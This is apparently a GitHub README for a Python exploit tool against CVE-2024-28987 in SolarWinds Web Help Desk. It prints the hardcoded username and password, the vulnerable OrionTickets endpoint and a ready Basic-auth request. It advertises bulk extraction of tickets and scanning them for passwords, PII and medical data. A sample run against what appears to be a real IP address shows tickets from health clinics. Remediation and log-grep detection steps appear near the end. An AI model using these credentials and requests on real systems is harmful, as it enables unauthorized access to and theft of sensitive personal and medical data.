CVE-2024-28987 - SolarWinds Web Help Desk Hardcoded Credentials Exploit

⚠️ DISCLAIMER: This tool is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.

📋 Overview

CVE-2024-28987 is a critical vulnerability in SolarWinds Web Help Desk (WHD) that allows remote attackers to access sensitive ticket information using hardcoded credentials. This vulnerability has a CVSS score of 9.1 (Critical) and is actively being exploited in the wild.

Vulnerability Details

Attribute	Value
CVE ID	CVE-2024-28987
CVSS Score	9.1 (Critical)
CWE	CWE-798 (Hardcoded Credentials)
Affected Products	SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1
Patched Version	12.8.3 Hotfix 2
Exploitation	Actively exploited in the wild
Added to CISA KEV	October 15, 2024

Impact

An unauthenticated attacker can:

Access all support tickets containing sensitive information
View temporary passwords, reset requests, and shared service credentials
Perform CRUD operations on tickets via /OrionTickets endpoint
Potentially pivot to other systems in the network

🔧 Features

✅ Automatic vulnerability detection - Tests for hardcoded credentials
✅ Ticket extraction - Retrieves all tickets from vulnerable systems
✅ Sensitive data scanning - Identifies passwords, credentials, PII, and medical data
✅ Multiple output formats - JSON and JSONL for large datasets
✅ Interactive preview - Shows first 3 tickets before extraction
✅ Zero dependencies - Uses only Python standard library
✅ Colorful output - Enhanced readability with ANSI colors
✅ Error handling - Graceful handling of connection errors

🚀 Quick Start

Prerequisites

Python 3.6 or higher
No external dependencies required!

Installation

# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987

# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port

# Interactive mode (will prompt for target)
python3 cve-2024-28987.py

# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098

    ╔══════════════════════════════════════════════════════════════════╗
    ║                                                                  ║
    ║   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██╗  ██╗███████╗ ║
    ║  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗██║  ██║██╔════╝ ║
    ║  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║███████║█████╗   ║
    ║  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔══██║██╔══╝   ║
    ║  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝██║  ██║███████╗ ║
    ║   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝ ║
    ║                                                                  ║
    ║         CVE-2024-28987 - SolarWinds Web Help Desk               ║
    ║         Hardcoded Credentials Vulnerability                      ║
    ║                                                                  ║
    ╠══════════════════════════════════════════════════════════════════╣
    ║  GitHub: https://github.com/Darabium                        ║
    ╚══════════════════════════════════════════════════════════════════╝

[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets

======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================

Ticket #1
  ├── ID: 5690
  ├── Client: UBS Portao Vermelho
  ├── Status: Open
  ├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO

Ticket #2
  ├── ID: 5691
  ├── Client: UBS Centro
  ├── Status: In Progress
  ├── Detail: ALCOOL 70% - Solicitação de material de limpeza

======================================================================
[🔐] Scanning for Sensitive Data
======================================================================

[!] Potential PASSWORD data found in ticket #5723
    └── detail: Please reset my password for system access...

[?] Do you want to extract ALL tickets to file? [y/N]: y

[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42

[*] Done!

GitHub: https://github.com/Darabium

📁 File Structure

CVE-2024-28987/

├── cve-2024-28987.py # Main exploit script

├── README.md # This file

└── LICENSE # MIT License

Output Files

When you extract tickets, the following files are created:

Standard JSON format (always created)

138_94_193_65_8098_tickets.json

JSONL format (created if > 100 tickets)

***_tickets.jsonl 🔍 Technical Details Hardcoded Credentials python USERNAME = "helpdeskIntegrationUser" PASSWORD = "dev-C4F8025E7" Affected Endpoint text /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ Sample HTTP Request http GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1 Host: vulnerable-target:8098 Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw== Content-Type: application/x-www-form-urlencoded 🛡️ Remediation Immediate Actions Update immediately to SolarWinds Web Help Desk version 12.8.3 Hotfix 2 or later

Check logs for suspicious access to /OrionTickets endpoint

Monitor for unauthorized access to ticket data

Reset all credentials that may have been exposed in tickets

Review all support tickets for potential data leakage

Detection Commands bash

Check for exploitation attempts in logs

grep -i "OrionTickets" /var/log/webhelpdesk/access.log

Check for unauthorized access patterns

grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log

Check current version

cat /opt/WebHelpDesk/version.txt 🚨 CISA KEV Advisory This vulnerability has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Organizations are required to patch by the specified deadline.

Date Added: October 15, 2024

Required Action: Apply updates per vendor instructions

Deadline: November 5, 2024 (21 days)

📚 References NVD CVE-2024-28987

CISA KEV Catalog

SolarWinds Security Advisory

PEP 668 - External Environment Management

🤝 Contributing Contributions are welcome! Please feel free to submit pull requests or open issues.

Guidelines Fork the repository

Create your feature branch (git checkout -b feature/AmazingFeature)

Commit your changes (git commit -m 'Add some AmazingFeature')

Push to the branch (git push origin feature/AmazingFeature)

Open a Pull Request

📝 License This project is licensed under the MIT License - see the LICENSE file for details.

⚡ Author Darabium - Initial work - GitHub

⚠️ Important Notes This tool is intended for security research and educational purposes

Do not use on systems you do not own or have explicit permission to test

The author is not responsible for any misuse of this tool

Always follow responsible disclosure practices

Respect privacy and data protection laws in your jurisdiction

🌟 Star History If you find this tool useful, please give it a ⭐ on GitHub!

📞 Support Open an issue on GitHub for bug reports

For security concerns, please contact directly via GitHub

Made with ❤️ for the Darabium

CVE-2024-28987 — Updated!

Categories